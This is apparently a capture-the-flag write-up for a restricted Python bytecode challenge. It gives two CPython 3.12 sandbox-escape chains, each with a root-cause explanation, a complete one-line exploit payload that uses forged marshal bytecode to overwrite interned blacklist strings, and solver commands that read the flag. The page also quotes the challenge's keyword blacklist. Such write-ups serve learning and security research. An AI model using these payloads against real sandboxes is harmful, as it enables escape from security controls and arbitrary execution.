  • Exploit chain: recover builtins and marshal; warm bytearray.count to obtain the live bytearray type-version cache; marshal-forge specialized STORE_ATTR_SLOT; rewrite an empty bytearray's ob_start and ob_size so it aliases the shared "open" string; change "open" to "xpen"; use a previously saved open reference to open /flag.txt; immediately restore the byte; read the already-open handle.
  • Validation: Python 3.12.13 in the supplied python:3.12-alpine image, real socat TCP service, two independent fresh connections, both returned the flag with exit status 0. No ASLR guess, brute force, or race.
  • Caveat: opcode 0x94, adaptive-cache offsets, marshal behavior, and the PyByteArrayObject layout are private CPython 3.12 implementation details. The payload derives the type-version tag and most offsets at runtime but is intentionally version-specific.
why it is vulnerable
# The new container does not clone the immutable string objects.
blacklist_patterns = frozenset((
    'spawn', 'process', 'os', 'sys', 'cpython', 'fork', 'open',
    'interpreter', 'ctypes', 'compile', 'gc', '__new__', 'import',
))

def func(event, args):
    for pattern in blacklist_patterns:
        # Sound only while each shared pattern object's bytes stay immutable.
        if str.__contains__(event, pattern):
            raise SystemExit(1)

# The source tuple and its same string objects remain reachable here.
policy_tuple = auditor.__code__.co_consts
exploit payload
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');s=b.__import__('sys');m=s.modules['marshal'];u=[x for x in s.modules['__main__'].auditor.__code__.co_consts if b.isinstance(x,b.tuple) and 'open' in x][0];t=u[u.index('open')];f=b.open;p=b.print;o=b.bytearray();g=lambda x:x.count(0);[g(o) for _ in [0]*100];a=g.__code__._co_code_adaptive;c=(lambda:(v,o,v,o)).__code__;h=b'\x97\x00\x74\x00'+b'\x09\x00'*4+b'\x74\x02'+b'\x09\x00'*4+b'\x94\x00\x09\x00'+a[8:12];z=b'\x79\x00'+b'\x09\x00'*6;q=m.dumps(c);j=q.find(c.co_code);j>=0 or 1/0;e=m.loads(q[:j]+h+(b.bytearray.__basicsize__-16).to_bytes(2,s.byteorder)+z+q[j+b.len(c.co_code):]);b.eval(e,{'v':t,'o':o,'__builtins__':{}});e=m.loads(q[:j]+h+b.object.__basicsize__.to_bytes(2,s.byteorder)+z+q[j+b.len(c.co_code):]);b.eval(e,{'v':t,'o':o,'__builtins__':{}});k=o.find(t.encode(),0,b.str.__basicsize__);k>=0 or 1/0;o[k]=120;F=f('/flag.txt');o[k]=111;d=F.read();F.close();p(d)
solver
# The attached client uses only the Python standard library.
python3 python-pwned-v2-frozenset-string-exploit-v2.py.txt HOST -p PORT

OOB LOAD_CONST forges a NULL-based bytearray

Event Name-
GitHub URL-
Challenge NamePython Pwned v2 (restricted dynamic bytecode)
Attachments
References

  • Root cause: is_safe_dynamic_code() permits up to three EXTENDED_ARG instructions followed by LOAD_CONST, but deliberately does not bounds-check the accumulated constant index. CPython 3.12 then uses raw GETITEM(co_consts, oparg) and increments the resulting pointer.
  • Exploit chain: recover cached builtins/modules; place a fake PyByteArrayObject in a real bytearray buffer; point the OOB constant lookup at the real bytearray's ob_bytes field; use the returned fake bytearray as a NULL-based arbitrary read/write view; change the shared interned blacklist string os to xx; call cached posix.execve('/readflag', ('/readflag',), {}) so the os.exec audit event passes.
  • The runtime frozenset is a new container, but its string elements are the same immutable objects retained in auditor.__code__.co_consts; corrupting the shared os object's inline bytes changes the hook's effective policy.
  • Validation: exact python:3.12-alpine image resolving to CPython 3.12.13, real socat service, UID/GID 65534, and five independent fresh connections all returned the flag. No ASLR guess, brute force, race, or checkpoint is required.
  • Caveat: the fixed marshal format, opcodes, 64-bit object offsets, PyByteArrayObject layout, and reachable signed 32-bit OOB index are private CPython 3.12 assumptions. The payload discovers the compact-ASCII data offset dynamically and aborts if the OOB index is out of range.
why it is vulnerable
# app.py validates stack shape but intentionally skips this bounds check:
# elif opcode == _load_const_opcode:
#     # Missing: 0 <= operand < len(current.co_consts)
#     depth += 1
#
# CPython 3.12 later treats the unchecked operand as a raw tuple index:
# value = GETITEM(frame->f_code->co_consts, oparg)
# Py_INCREF(value)
#
# Therefore an attacker-chosen qword outside co_consts becomes a PyObject *.
exploit payload
b=[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='BuiltinImporter'][0].load_module('builtins');s=b.__import__('sys');m=s.modules['marshal'];O=s.modules['posix'];P=lambda x:x.to_bytes(8,'little');f=b.bytearray(P(0x41414141)+P(b.id(b.bytearray))+P(0x7fffffffffffffff)+P(0)+P(0)+P(0)+P(0));o=(b.id(f)+32-(b.id(())+24))//8;(-2147483648<=o<2147483648) or 1/0;h='630000000000000000000000000100000003000000730a00000090aa90bb90cc64dd53002800000000280000000028000000007300000000750c000000706174682f746f2f66696c65750500000064756d6d79750500000064756d6d792900000073070000008000d8040880447300000000';h=h.replace('aa',b.format((o>>24)&255,'02x')).replace('bb',b.format((o>>16)&255,'02x')).replace('cc',b.format((o>>8)&255,'02x')).replace('dd',b.format(o&255,'02x'));c=m.loads(b.bytes.fromhex(h));d=lambda:0;b.setattr(d,'__code__',c);x=d();q='peko';n=x[b.id(q):b.id(q)+96].find(q.encode());n>=0 or 1/0;t='os';x[b.id(t)+n:b.id(t)+n+b.len(t)]=b'x'*b.len(t);O.execve('/readflag',('/readflag',),{})
solver
# The attached client uses only the Python standard library.
docker compose up --build -d
python3 python-pwned-v2-oob-load-const-exploit.py.txt 127.0.0.1 -p 25776 --timeout 10

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.